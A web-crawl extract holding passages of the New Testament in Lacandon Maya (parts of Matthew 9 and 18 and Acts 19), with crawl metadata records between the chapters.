Jesús. Mʌ' ya'ab ti' yʌnob. Chen tu yorob caj u mucu arob, caj ya'arob: \"Cu pach'ic C'uj, Jesús wa ber cu ya'aric baxuco'.\"\n4 A Jesúso', yer a ba' cu tucricob tu yorob a yʌjcamsʌyʌjirob u t'ʌn Moisés. Ara'b ti'ob ten Jesús:\n―Mʌ' a yʌn tucriquex c'as.\n5 Jesús caj ya'araj ti' yʌjcamsʌyʌjirob u t'ʌn Moisés:\n―Wa quin wac a je' mech yoca': \"Caj in jawsaj a si'pir\", a techexo' mʌ' a werex wa yʌn u muc' C'uj ten, wa mʌna' u muc' C'uj ten. Barej wa quin wac ti': \"Riq'uen ca' xiquech.\" Je' a werexe' yʌn u muc' C'uj ten.\n6 Caj ara'b ten Jesús ti' yʌjcamsʌyʌjirob u t'ʌn Moisés:\n―Ar in wesej techex in muc' quir in jawsic u si'pir mac ich yoc'ocab, quire' taren in yamtej tu cotor mac.\nJesús caj u t'ʌnaj a mac a mech yoco':\n―Riq'uen ―quij―. Ch'aj a ch'ac ca' xiquech ich a watoch.\n7 A mech yoco', caj riq'uij caj bin ich yatoch.\n8 Caj yirob u riq'uir a mech yoque', caj jaq'uij yorob u winiquirob judío. Caj ya'arob u winiquirob judío:\n―Jach caremech C'uj, quire' ta ts'aja muc' ti' Jesús quir u jawsic a mech yoco'.\nJesús caj u pʌyaj Mateo ca' tac cʌnbir u t'ʌn Jesús\n(Mr. 2.13‑17; Lc. 5.27‑32)\n9 Jesús caj u p'ʌtaj u cajar Capernaum jeroj caj yiraj turiri' xib Jesús, u c'aba' Mateo. Curucbar tu cu c'ʌmic u taq'uin gobernador romano. Caj pay Mateo ten Jesús:\n―Cux ―quij Jesús―, quir a cʌnic in t'ʌn.\nCaj riq'uij Mateo, caj bin tu pach Jesús.\n10 Jesús ti' yʌn uch ich yatoch Mateo. Curucbar janʌn Jesús yejer u camsʌwinicob, yejer a cu c'ʌmicob u taq'uin gobernador romano. Ti' yʌn ich Jesúse', a yʌn u si'pirobe', cu janʌnob xan. P'eri'o' cu janʌnob yejer Jesús.\n11 A farisejo', caj yirob cu janʌnob yejer Jesús, a yʌn u si'pirob, yejer a cu c'ʌmicob u taq'uin gobernador romano. Caj c'ata'b ten u winiquirob judío a fariseobo', u camsʌwinicob Jesús:\n―Biquinin a wʌjcamsʌyʌjirex cu janʌn yejer a yʌn u si'pire', yejer a cu c'ʌmicob u taq'uin gobernador romano?\n12 Jesús caj yubaj a ba' c'ata'bob ti' u camsʌwinicob. Jesús caj ya'araj ti' u winiquirob judío a fariseobo':\n―A mʌ' yajo', mʌ' u c'atic ts'ac, quire' toc yʌn yor. A mac a yajo', ra' cu bin u cʌxtic yo'och ts'ac.\n13 Caj ara'b ti' u winiquirob judío a fariseojo' ten Jesús:\n―Xen, cʌnex a ba' ts'iba'an ich u t'ʌn C'uj, a tu cu ya'aric: \"Ca' yajquinte mac baxuc u c'at C'uj. Mʌ' a chen quinsiquex a wʌrʌc' wacʌx a sija ten\", quij C'uj. Rajen tareno'. Quire' taren in pʌyic a mac yʌn u si'pirob ca' u c'axej tu yorob soc u p'ʌticob a c'aso'. Mʌ' taren in pʌyic a mac a cu ya'aric mʌna' u si'pirob. A ray winico', ca' u quibob a ba' ara'b ti'ob ten C'uj, a tu cu ya'aric: \"Jach manan tsoyir ca' a yajquintej a rac'ob. Mʌ' ja chen quinsiquex a wʌrʌc' wacʌx a sijetenex.\"\nBiquinin mʌ' u p'ʌticob u janʌnob u camsʌwinicob Jesús\n(Mr. 2.18‑22; Lc. 5.33‑39)\n14 Caj c'uchob mʌ' ya'ab u camsʌwinicob Juan ich Jesús. Ra' cu yacsic ja' tu jo'r mac. Caj ara'b ti' Jesús ten u camsʌwinicob Juan:\n―Biquinin mʌ' u p'ʌticob u janʌnob a camsʌwinicob quir u c'ujinticob C'uj? Biquinin a tenob in p'ʌticob in janʌnob yejer u winiquirob judío a fariseobo'?\n15 Caj u nuncaj Jesús:\n―A mac cu bin u ch'ic u raq'ue', cu pʌyic u rac'ob quir u qui'qui' janʌnob. A tarobe', mʌ' tsoyi' wa cu tucricob. Barej ca' bin c'uchuc tu q'uinin cu bin, a tu ch'aj u raq'ue', jeroj ra' u q'uinino', cu bin u p'ʌticob u janʌnob. Baxuc a teno'. A mac a caj in pʌyaj mʌ' ba'wir u p'ʌticob u janʌnob. Wa ber ca' bin xiquen, a ra' u q'uinino', jach taj cu bin u p'ʌticob u janʌnob in camsʌwinicob.\n16 Caj ya'araj Jesús:\n―Mʌ' tsoy xan ca' a xaxactiquex a ba' caj a cʌnex ti' a nunquirex yejer a ba' tan a cʌniquex ti' ten. Mʌ' ja wirej, mʌna' mac cu jompʌc'tic u rabir u noc' yejer ric'ben. Cu mosar a ric'ben cu jatar a rabo' cu cochtar u jor. Jach carem u jorir u noc' u cochtar.\n17 Caj ya'araj Jesús:\n―Mʌna' mac cu t'ajtic u c'ab u wich uva ich u rabir yot'er chivo. Quire' ca' bin pajnʌc, cu bujur. Hasta u rʌc wecar u c'ab uva cu rʌc jatʌr u yot'er chivo xan. A ric'ben u c'ab uva yʌn u t'ajic ich ric'ben yot'er chivo soc mʌ' ju bujur soc mʌ' ju rʌc wecar u c'ab uva.\nU parar Jairo caj jawsa'b ten Jesús\n(Mr. 5.21‑43; Lc. 8.40‑56)\n18 Mʌ' toy ts'ocac u camsic u bujur u yot'er chivo Jesús. Caj tar pʌybir Jesús ten Jairo. Ra' u jach ts'urir u winiquirob judío. Caj ara'b ti' ten Jairo tu cu xonraj:\n―Jach quimin in chan parar xquic. Cojen, chan ts'anc'ʌbtej ca' wʌc'ʌs riq'uir in chan parar xquic.\n19 Jesús caj riq'uij caj bin yejer u camsʌwinicob yejer Jairo.\n20 Ti' yʌn u jer xquic, caj tar tu pach Jesús tu cu bin ich Jairo. Mʌ' ju jawʌr u yajir. Yʌn u yajir doce yaxq'uin. Mʌ' ju jawʌr tu cu muc'yaj. Mʌ' ju tsoytar. Caj u juts'aj u bʌj xquic ich Jesús. Tu pach Jesús caj u tʌra u yoquir u noc' Jesús ten xquic.\n21 Caj u tucraj a xquico', ca' u tʌrej u yoquir u noc' Jesús. Caj ya'araj xquic tu yor: \"Wa quin tʌric u yoquir u noc' Jesús, je' in jaware'.\"\n22 A Jesúso', caj u sut u bʌj ich u pach quir yiric mac caj u tʌraj u yoquir u noc'. Caj yiraj xquic, caj u tʌraj u noc' Jesús. Caj ya'araj ti':\n―Qui'quintej a wor in jach pararech. Quire' caj a wacsaj ta wor ti' ten ―quij ya'araj ti'―, rajen toc jawech.\nRa'iri' u q'uinin toc jaw a xquico'.\n23 Caj c'uchij Jesús ich yatoch Jairo. Ra' u jach ts'urir u winiquirob judío. Caj yiraj Jesús cu churob mac, quire' tabar u mucur u baquer u parar Jairo, quire' baxuc nanij u betic u winiquirob judío. Jach pim cu yoc'arob tan yac'ta'r u parar Jairo.\n24 Caj ya'araj Jesús:\n―Chan joq'uenex tancab ―quij Jesús―. Mʌ' quimeni'. Wenʌn u ca' in wiric a teno' ―quij Jesús.\nCaj p'asta'b Jesús ten a pimo' quire' yerob jach quimij u chan parar Jairo.\n25 Caj ts'oc u rʌc joc'sic mac tancab Jesús. Jesús caj oc ich yatoch, caj mach u c'ʌb ten Jesús caj riq'uij. Caj u ch'a'aj yor chan xquic, u parar Jairo.\n26 Caj man u rʌc tsicbʌticob ich tu cotor u ru'um. Caj ya'araj ti' u rac'ob bic tabar caj ric'sa'b u parar Jairo ten Jesús.\nJesús caj u jawsaj a ch'op u wichobe'\n27 Caj joq'uij Jesús ich yatoch Jairo. Caj tar mʌna' u wich ich u pach Jesús. Ca'tur a ch'op u wichobe'. Caj u purob u t'ʌn ti' Jesús:\n―Yajquin tenob, yamtej tenob quire' u pararech ic nunquir David.\n28 Jeroj, caj oc Jesús ich yatoch mac quet caj ocob a ch'op u wichobe'. Caj u jutsob u bʌjob ich Jesús. Caj c'ata'b ti'ob ten Jesús:\n―Ca tucriquex c'ucha'an in wor in jawsiquechex?\nCaj ya'arob a ch'op u wichobe':\n―In werob Jaj Ts'urir c'ucha'an a wor a jawsiquenob.\n29 Jesús caj u tʌr u wich a ch'op u wichobe'. Caj ya'araj ti'ob:\n―An ten bic tabar caj a wacsajex ta worex ti' ten, baxuc u jawʌr a wichex xan.\n30 Caj qui' jawʌc u wichob ten Jesús. Caj u toc araj ti'ob:\n―Mʌ' a yʌn bin a wa'arex wa jaw a wichex ―quij ya'araj ti'ob.\n31 Tan tu ts'ocar u jawar u wichob. Caj toc rʌc bin ya'arej ich tu cotor an bic tabar caj jawsa'b u wich ten Jesús.\nJesús caj u jawsaj a mʌ' u joc'ar u t'ʌn\n32 Caj joc'ob ich Jesús, a jaw u wichobe', caj ca' tar purbir u jer. A mʌ' u joc'ar u t'ʌn quire' aca'an c'ac'as quisin ti'.\n33 A Jesúso', caj u joc'saj u c'ac'as quisinin, a mʌ' u joc'ar u t'ʌn. Caj joc' u c'ac'as quisin, caj joc' u t'ʌn. Caj yirob u rac'ob caj jaq'uij yorob. Caj ya'arob:\n―Mʌna' ij quiric mac cu joc'sic quisin. Cax tu cotor u ru'umin Israel.\n34 Caj ts'oc yiricob u winiquirob judío a fariseojo' u joc'sic quisin Jesús. Caj u tus arob ti' u yet winiquirob judío:\n―A werex tub u tar u muc' quir u joc'sic a quisino'? Ich u jach ts'urir quisin.\nQuin yajquintic mac\n35 Jesús caj rʌc man u tsec'tic ti'ob u jach tsoyir u t'ʌn tu cotor u cajar. Cax tu chan cajar cax tu carem u cajarob caj u tsec'taj ti'ob u jach tsoyir u t'ʌn. Ti' cu man u camsic Jesús ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u tsec'taj Jesús tu cu bin u reyinticob C'uj. Jesús caj man u jawsaj mac, cax a ba' yajir cu jawsic Jesús.\n36 Caj yiraj Jesús jach pim mac, caj u yajquinta Jesús, quire' caj u yiraj mʌna' mac caj u camsob tu cu bin u reyinticob C'uj. Yiraj Jesús u winiquirob judío irej wa tʌmʌn yuc, quire' mʌna' yʌjcʌnʌnyʌjirob u winiquirob judío.\n37 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Taj quin wa'aric techex. Yʌn mac pim ―quij―, u c'at yubicob u t'ʌn C'uj. Barej a cu beyajo', mʌ' pim yʌjtseq'uir u t'ʌn C'uj ti'ob. Aro' irej wa ti' yʌn jach ya'ab nʌr quir u jaq'uic, chen mʌ' ti' yʌn mac quir u jaq'uic.\n38 Rajen ca' t'ʌnex C'uj soc u tuchi'tic mac quir u bin u tsec'tic u t'ʌn C'uj soc c'ucha'an yorob u yubicob u t'ʌn C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT9.html","date":"2022-06-27T10:57:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103331729.20\/warc\/CC-MAIN-20220627103810-20220627133810-00257.warc.gz","language":"lac","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000057220458984}","num_words":1654,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.515,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18\nA mac jach carem tu cu bin u reyintejob C'uj\n(Mr. 9.33‑37; Lc. 9.46‑48)\n1 Ra' u q'uinin caj tsicbanʌj Jesús yejer Pedro caj u juts'ob u bʌj u camsʌwinicob ich Jesús. Caj c'ata'b ti' Jesús ten u camsʌwinicob:\n―Arej to'on a mac jach carem tu cu bin u reyinticob C'uj?\n2 Jesús caj u pʌyaj u chan parar mac. Caj u pʌyaj ch'ictar chumuc tu yʌn Jesús.\n3 Caj ya'araj Jesús:\n―Jach taj quin wa'aric techex. Ca' a c'axex a worex soc a cʌniquex chichan quire' cu quibic u t'ʌn mac. Wa ja c'atex a wocarex tu cu bin u reyinticob C'uj ich ca'anan.\n4 Rajen a mac a cu cʌnic a chichano' quire' cu quibic u t'ʌn mac ca' bin c'uchuc tu q'uinin u reyintic C'uj ra' jach manan carem.\n5 A mac cu yacsic mac a caj u cʌnaj chichan, quire' raji' caj u yacsaj tu yor ti' ten bayiri' cu yacsiquen xan.\nQui' irej a wacsiquex a si'pir\n(Mr. 9.42‑48; Lc. 17.1‑2)\n6 Caj ya'araj Jesús ti' u camsʌwinicob:\n―A mac a cu yacsic u si'pir u rac'ob, a caj u cʌnaj chichan, a caj u yacsaj tu yor. Arej jach manan tsoy ca' u jich'ej ich u car yejer yajaw ca'. Ca' u purej u bʌj ich c'ac'nab quire' caj u pʌyaj u si'pir u rac'ob.\n7 A mac cu jach c'asquintic mac ich tu cotor yoc'ocab jach yaj cu bin yubic yerar a je' xibo'. Yʌn u tar u jer mac quir u c'asquintic u rac'ob. Rajra' yʌn u tar quir u c'asquintic mac jach manan c'as aro'.\n8 'Rajen quin wac techex: Xonch'ʌctej a c'ʌb wa raji' cu yacsic a si'pir. Cax a woc wa raji' cu yacsic a si'pir. Cax bujuch c'ʌbech, cax bujuch oquech soc a taquic a bʌj. Soc mʌ' a bin tu ca werar ich c'ac' munt q'uin yejer ca'tur a c'ʌb. Bayiri' soc mʌ' a werar yejer ca'tur a woc.\n9 Baxuc xan a wich. Wa raji' cu pʌyic a si'pir rʌc a wich. Cax bujuch ichech soc mʌ' a bin erar ich c'ac'. Soc a taquic a bʌj wa yejer ca'tur a wich ca bin tu ca werar.\nCax tʌmʌn yuc a irej satʌr Jesús quir u camsic\n(Lc. 15.3‑7)\n10 Caj ya'araj Jesús ti':\n―Mʌ' a yʌn che'tic a chichan a caj u yacsaj tu yor ten, a ti' yʌn ich yoc'ocab, a irob a je' chichana'. Quire' ti' yʌn u yʌjmasirob u t'ʌn C'uj ti' chichan ʌcʌtan ti' C'uj ca'anan. Raji'ob cʌnanticob yʌjmasirob u t'ʌn C'uj.\n11 Caj ya'araj Jesús:\n―Taren in yamtic mac tu cotor ich yoc'ocab a mac satʌr quir u jawsic u si'pir.\n12 'Qui' tucrex a ba' quin bin in camsic techex. Mʌ' wa ti' yʌn xib yʌjcʌnʌnyʌjir cien tʌmʌn yuc. Caj satij turiri' je' u bin u cʌxtej a turiri' sa'at. Cu jamach p'ʌtic yʌrʌc' tʌmʌn yuc a noventa y nueve a ti' yʌnob ich u jo'r wits, ca' xic u cʌxtej turiri'.\n13 Wa cu yiric yʌrʌc' tʌmʌn yuc a turiri' taj quin wa'aric jach qui' yor. Cax ti' yʌn a noventa y nueve a mʌ' sa'atʌrob. Mʌ' qui' yor hasta cu yiric a turiri', a ra' u q'uinino' cu jach qui' tar yor.\n14 Caj ya'araj Jesús:\n―Rajen baxuc ic Tet C'uj. Mʌ' u c'at yiric u satʌr a chichan turiri' a mac a cu yacsic tu yor ti' ten, a ca wiriquex bʌytʌc tu yʌnechex.\nBic tabar a jawsiquex u si'pir a wet acsa'orir\n(Lc. 17.3)\n15 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Wa ja wet acsa'orir c'as cu yac techex. Cax wa ba' cu betic techex. Tu junan ca wa'ariquex ti' wa ba' cu ya'aric techex. Wa caj u quibaj a t'ʌn a wet acsa'orir, p'eri' a wor yejer. Mʌ' ja wirej, caj u yac'taj u bʌj tu si'pir caj u pʌyaj. Caj a tacaj soc mʌ' u ts'ictar ti' C'uj.\n16 Wa mʌ' u quibic a t'ʌn a wet acsa'orir, joq'uen pʌyej turiri' wa ca'tur. Ca' a pʌyej soc yubic a wet acsa'orir yʌn u si'pir yet acsa'orir. Soc yiric wa c'ucha'an yor u p'eri'quinticob yor. Soc mʌna' u nup yubic yʌn u si'pir.\n17 Wa mʌ' u yubiquex a t'ʌnex a wet acsa'orir, ca' a rʌc arex yubejob tu cotor u ts'urir a wet acsa'orir tu ca much'quintiquex a bʌj. Wa mʌ' yubic u t'ʌn tu cotor u ts'urir yet acsa'orir. Mʌ' ja t'ʌniquex an ten bic mac mʌ' yer C'uj.\n18 Jach taj quin wa'ariquechex:\n―A ba' quir mʌ' a c'atex tu ca much'quintiquex a bʌj ich yoc'ocab, baxuc xan, a C'ujo' mʌ' u c'at. A ba' quir tsoy techex tu ca much'quintiquex a bʌj, baxuc a C'ujo', tsoy yiric C'uj.\n19 'Taj quin wa'aric techex. Cax wa chan ca'turechex yejer a wet acsa'orir te' ich yoc'ocab. Je' u ts'ic techex ic Tet C'uj a ba' a c'at wa quet a worex.\n20 Cax wa mʌna' u nup cu tar u much'quinticob u bʌj ti' yʌnen ―quij Jesús―. Cax wa ca'tur quir u c'ujinticob C'uj cu bin ts'abir ten C'uj ti' techex a ba' ca c'atiquex ti'.\n21 Caj tar Pedro ich Jesús caj u c'ataj ti':\n―Wa cu tar in bʌjob, Jaj Ts'ur. Ya'arej ca' in jawsej u si'pir wa ba' caj u ya'araj. Arej ten mun ca' bin in jawsej u si'pir. Ya'ab u tenin, cax wa siete quin jawsic u si'pir?\n22 Caj u nuncaj Jesús:\n―Mʌ' jin wa'arej a jawsej siete, cax ya'ab u tenin u tar cax setenta.\nJesús cu camsic bic tabar mʌ' jawsic u yet c'urew\n23 Rajen caj ya'araj Jesús tu cu camsicob:\n―U ru'umin tu cu bin u reyinticob C'uj ca'anan irej a rey a cu bin u c'atic u bo'orir ti' u c'urew, a mac yʌn u bo'or.\n24 Caj u yʌnxchun yiric yʌn u bo'or u c'urew ti' u rey. Caj tar purbir ti' rey u c'urew quire' raji' yʌn u bo'or ya'ab. Jaj ix tʌcoj cuatro millones pesos.\n25 U c'urew mʌ' c'ucha'an yor u bo'otic u rey. Caj u toc araj rey: \"Ar u rʌc cʌnej u ba'tac. Bayiri' u rac', ca' u canej yejer u parar ca' u canej. A ba' yʌne', ca' u rʌc canej quir u bo'otic rey.\"\n26 Caj xonrʌj u c'urew ʌcʌtan u rey. Caj ya'araj ti': \"Ca' a yajquin ten, Jaj Ts'ur. Sisquintej a wor ten. Je' in rʌc bo'otiquech.\"\n27 Caj sisij yor rey, caj u yajquintaj ti' u c'urew. Caj ya'araj ti' u c'urew: \"Tsire'ej cax mʌ' a bo'otic.\" Caj ya'araj u rey: \"Siptej in c'urew ca' xic.\"\n28 Ra'iri' u c'urew tan tu joc'ar ich rey caj u nup'ob u bʌj u yet c'urewir a mac yʌn u bo'or ti' yet c'urewir. Mʌ' neco'oj u bo'or ten u yet c'urewir. Yʌn ix tʌcoj cuatro pesos. Caj chuc yʌt'bir u c'o'och ten yet c'urewir. Caj ya'araj: \"Bo'oten.\"\n29 Caj xonraj u yet c'urewir ʌcʌtan Caj u chich araj: \"Yajquinten. Je' in rʌc bo'otiquech tu cotor.\"\n30 \"Jot\" ―quij―. Caj u c'ubaj u yet c'urewir a mʌ' ya'ab u bo'or ca' xic mʌcbir hasta cu bo'otic u bo'or ti' u yet c'urewir.\n31 U yet c'urewir ya'ab, caj yajij yorob a ba' caj u yirob caj binob ich rey ya'arajob ti' ba' u ber.\n32 Caj u pʌyaj u c'urew rey. Caj c'uchij u c'urew tu yʌn rey. Caj ya'araj ti' u c'urew: \"Jach c'asech, a teno' caj in wa'araj mʌ' a bo'otej a bo'or quire' caj a chich c'ataj ten.\n33 Biquinin mʌ' ja yajquintaj a wet c'urewir an ten biquen caj in yajquin tech?\"\n34 A ju rey caj jach ts'iquij. Caj u c'ubaj u c'urew xan, ca' ma'cac hasta cu rʌc bo'otic u bo'or.\n35 Jesús quir u ts'ocar u camsic bic tabar u jawsic u si'pir mac caj ya'araj:\n―Baxuc in Tet xan a tar yʌn ich ca'anan. Mʌ' ju jawsic techex C'uj wa mʌ' a jawsic u si'pir a wet acsa'orir je'erer, mʌ' u jawsej.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT18.html","date":"2022-06-29T06:17:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00081.warc.gz","language":"lac","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000042915344238}","num_words":1276,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.305,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\nPablo ich u cajar Efeso\n1 U q'uinin ti' toy yʌn Apolos ich u cajar Corinto, a Pablojo' cu man ich tu cotor u ru'umin tu ch'ench'en u ru'umin, tu manij uch hasta c'uchij tu cajar Efeso. Tiri' caj u yiraj jun yarob mac a yacsmʌnob tu yorob u t'ʌn C'uj jari' yerob a ba' caj u ya'araj uch a Juano' a cu yacsic ja' tu jo'r mac.\n2 Pablo caj u c'ataj ti'ob:\n―Caj a wacsajex waj a worex u t'ʌn C'uj ta c'ʌmajex wa ju Taj'or u Pixam C'uj?\nRobob caj u ya'arajob:\n―Mʌ' ij cu'yajex wa ti' yʌn u Taj'or u Pixam C'uj.\n3 Caj u c'ataj ti'ob:\n―Bic tabar acsa'b ja' ta jo'rex uch?\nRobob caj u nuncajob ti':\n―Acsa'b ja' tij co'rex an ten bic Juan caj u camsaj mac uch.\n4 Caj u ya'araj Pablo:\n―Mʌ' ja wirej, Juan caj u yacsaj ja' tu jo'r mac quir yesic mac caj u c'axaj u yor, quire' yʌn u si'pirob uch. Bayiri' xan, caj ara'b ten Juan ti' u winiquirob judío: \"Ca' a wacsex ta worex ti' a mac a cu tar tin pach.\" Ra' u c'at ya'aric: \"Acsex a worex ti' Jesús, a mac a Cristojo'.\"\n5 Barej, a je' mac a yacsmʌnob tu yorob a mac nup' ten Pablo ich u cajar Efeso caj ts'oc u yubicob ya'ara' ten Pablo, caj acsa'b ja' tu jo'rob tu c'aba' Jaj Ts'ur Jesús, quir yesicob u jach ts'urinticob Jesús.\n6 Barej caj ts'oc u ts'anc'abʌ'rob ten Pablo, jeroj tune' caj tar u Taj'or u Pixam C'uj soc ti' yʌn tu yicnʌnob. Ra'iri' u q'uinin caj u yʌnxchun u tsicbʌticob ich u jer u t'ʌnob a mʌna' mac cu najticob, Bayiri' xan, caj u tsec'tajob u t'ʌn C'uj quire' ts'a'b u tucur ten C'uj quir u tsicbʌticob a ba' u c'at C'uj.\n7 Raji'ob mac a caj u yacsjob tu yorob a ti' yʌn doce xibo'.\n8 Pablo ti' yʌn mʌna' u nup ic nʌ' ich a ray cajaro', tan u yocar ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Mʌ' ju jac'ʌr yor u tsec'tic u t'ʌn C'uj. Rajra' cu tsicbʌtic ti'ob bic tabar cu reyinticob C'uj, soc ix ti' cu yacsicob tu yor ti' C'uj wa taj.\n9 Yʌn jun yarob u winiquirob judío caj chichnʌjij u jo'rob. Mʌ' u c'at u c'ʌmicob u t'ʌn C'uj, caj u p'astajob u jach tsoyir u t'ʌn C'uj ʌcʌtan a mac a much'a'anob ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Pablo caj joq'uij tu yʌnob a chichnʌjij u jo'rob caj binij Pablo. Tar bin tu najir tu cu cʌnicob ju'un, tiri' oquij Pablo. Yet taracob a mac a yacsmʌnob tu yorob. U najir tu cu cʌnicob ju'un pach u c'aba' Tiranno. Tiri' caj u tsec'taj u t'ʌn C'uj ya'ab u q'uinin ich u najir tu cu cʌnicob ju'un.\n10 Baxuc caj u betaj Pablo ich u najir tu cu cʌnicob ju'un hasta manij ca'tur yaxq'uin. Rajen caj u yubajob u t'ʌn Jaj Ts'ur ich tu cotor mac ich u ru'umin Asia, cax u winiquirob judío, cax mʌ' u winiquirob judío caj u rʌc u'yajob u t'ʌn Jaj Ts'ur.\n11 Quire' ts'a'b u muc' ten C'uj Pablo soc jach manan carem u beyaj.\n12 Mʌ' ja wirej, jach carem u beyaj Pablo, cax cu ts'abʌr panyuj a caj u tʌraj u yot'er Pablo, cax cabachaj cu ch'ic a caj u tʌraj u yot'er Pablo caj c'uchob ich Pablo. Caj u ch'ajob u noq'uir cu ts'abʌr u tʌrej Pablo, ca' u jenquintaj yoc'orob a mac yajo' ca' jawʌcob u yajirob, jeroj tune', caj jawij. Bayiri' xan, a mac aca'an quisin ti', caj joq'uij a quisinini'.\n13 Ti' yʌn jun yarob u winiquirob judío. Mʌ' ju cutarob quire' man u ca'ob. A je' u winiquirob judío cu manob tan u joc'sicob ti' a mac aca'an quisin ti'e'. Caj c'uchij tu q'uinin u c'atob u joc'sicob u quisin a aca'an ti' mac, chen caj u c'ʌnob u c'aba' Jaj Ts'ur quir u joc'sic. Chen a ray xibob, mʌ' yacsmʌnob tu yorob u t'ʌn Jesús, rajen caj u t'ʌnajob a mac a aca'an quisin ti'e', caj u ya'arajob ti':\n―Joq'uen quisin ich u c'aba' Jaj Ts'ur Jesús a cu tsec'tic Pablo.\n14 Robob a mac a cu joc'sicob u quisin, robob u siete u parar a turiri' u winiquirob judío, Esceva u c'aba'. A Escevajo', turiri' u jach ts'urir ich a sacerdote u winiquirob judío.\n15 Jeroj tune', nunca'b ten a quisino' ti' a siete u parar Esceva. A quisino', caj u ya'araj:\n―A teno' in c'ʌ'o u muc' Jesús, bayiri' xan, in c'ʌ'o u muc' Pablo. Chen a maquechex, quire' mʌ' u winiquechex Jesús?\n16 Chen a mac a aca'an quisin ti'e', caj u puraj u bʌj ich yoc'or a siete u parar Esceva, caj rʌc roxij u parar Esceva hasta mʌ' u riq'uirob u parar Esceva. Jeroj tune', caj chʌc puts'ob u parar Esceva ti' a mac a aca'an quisin ti'e', cax jach yaj chʌc puts'ob a siete u parar Esceva, caj joc'ob ich naj caj u c'ʌnajob yacab tan u joc'ar u q'uiq'uer.\n17 A ba' u ber ti' u parar Esceva caj yub u juminta'r ten tu cotor mac, cax u winiquirob judío, cax mʌ' u winiquirob judío ich u cajar Efeso. Caj u rʌc ch'ajob ch'ic yum sajaquir ten tu cotor mac, caj u caremquintob u c'aba' Jaj Ts'ur Jesús.\n18 Rajen ya'ab mac a caj u ya'arajob caj u yacsajob tu yorob caj tarob ya'arej bic tabar caj cuxrajob uch caj u toc arob jach c'as caj u betajob uch, tan u c'ʌyicob mac.\n19 Ya'ab mac a cu xaquicob ju'un a yʌnin a quisino' uch, caj u much'quintajob u ju'unin quir u toquicob ich ʌcʌtan tu cotor mac. Caj u xacajob mun u bo'orir u ju'unin a caj u tocajobe', caj u yirajob cincuenta mil sʌc taq'uin u bo'orir u ju'unin.\n20 Tu cotor a ba' u ber ra' cu yesic jach manan u muc' u t'ʌn C'uj. Rajen ya'ab mac, yejer u jer ya'ab mac, rajra' cu yubicob u t'ʌn Jaj Ts'ur. Bayiri' xan, ya'ab mac, yejer u jer ya'ab mac, cu yacsob tu yorob u t'ʌn Jesús.\n21 Caj ts'oc u man a je' tu cotora', Pablo caj u tucraj tu yor u bin ich u ru'umin Macedonia, bayiri' xan, ich u ru'umin Acaya quir u yiric u yet acsa'orirob. Ca' bin ts'ocac aro', caj u tucraj u ca' bin ich u cajar Jerusalén. Jeroj pachir cu bin ich u cajar Roma.\n22 Pablo caj u tuchi'taj ich u ru'umin Macedonia ca' tur yʌjyaminob u beyaj. Robob Timoteo yejer Erasto. Chen u bʌjiri' Pablo ti' toy p'at ya'ab u q'uinin ich u ru'umin Asia.\nJach p'usa'b yorob mac ich u cajar Efeso\n23 A ray u q'uinino', caj u p'usajob u yorob mac quire' yubob bic tabar u jach tsoyir u t'ʌn C'uj cu man ich tu cotor mac.\n24 Caj p'usa'b u yorob mac, quire' ti' yʌn turiri' xib u c'aba' Demetrio, ra' u beyaj cu jo't'ic sʌc taq'uin. Raji' cu betic u chan najir tu cu jo't'ic sʌc taq'uin soc irej a cu c'ujinticob u winiquirob efesio. Robob cu c'ujinticob u tus c'uj xquic Diana. Tu cu jo't'icob u chan najir Diana Demetrio cu nejaric u taq'uin, mʌ' chen raji' baxuc tu cotor mac a cu jo't'icob sʌc taq'uin.\n25 Demetrio caj u much'quintaj u rac'ob a ju yet beyajob, bayiri' xan, a mac a quet cu jo't'icob sʌc taq'uin an ten bic Demetrio cu betic. Caj ts'oc u much'quinticob u bʌj caj u ya'araj Demetrio:\n―U xibirechex u cajar Efeso, a techexo', a werex quic nejariquex ic taq'uinex tu quic jo't'iquex a sʌc taq'uino'.\n26 Chen a techexo', a wiramʌnex Pablo baxuc a wu'ymʌnex bic tabar u man u tsicbʌtic Pablo, quire' raji' cu ya'aric u yochir c'uj a ba' cu beticob xib mʌ' jach C'uj. Rajen ya'ab mac caj u quibob a ba' cu ya'aric. Chen mʌ' jari' ij quet cajarob Efeso caj u quibicob, bayiri' xan, tu cotor mac a cʌja'anob ich u ru'umin Asia caj u quibob.\n27 A jera' ―quij Demetrio―, jach c'as wa cu rʌc c'ʌmicob a ba' tan u camsa'r ten Pablo, mʌ' chen ic rʌc sʌtiquex ic beyajex, mʌna' mac cu bin u sʌjticob tu quij c'ujintiquex ij c'ujex Diana. Mʌ' ja wirej, jach carem ij c'ujex Diana, tu cotor mac baje'rer cu c'ujinticob ij c'ujex Diana cax ich u ru'umin Asia cax ich yoc'ocab. Wa cu rʌc quibicob a ba' ara'b ten Pablo mʌ' ju c'ujintob ij c'ujex Diana, bayiri' xan tu cotor mac ich yoc'ocab a cu c'ujinticob ij c'ujex Diana, mʌ' ju c'ujintob xan, ij c'ujex Diana ―baxuc caj u ya'araj Demetrio.\n28 Barej caj ts'oc u yubicob a ba' ara'b ti'ob ten Demetrio caj jach p'ujob, jach c'am awʌtnʌjob caj u ya'arob:\n―Jach carem ij c'ujex 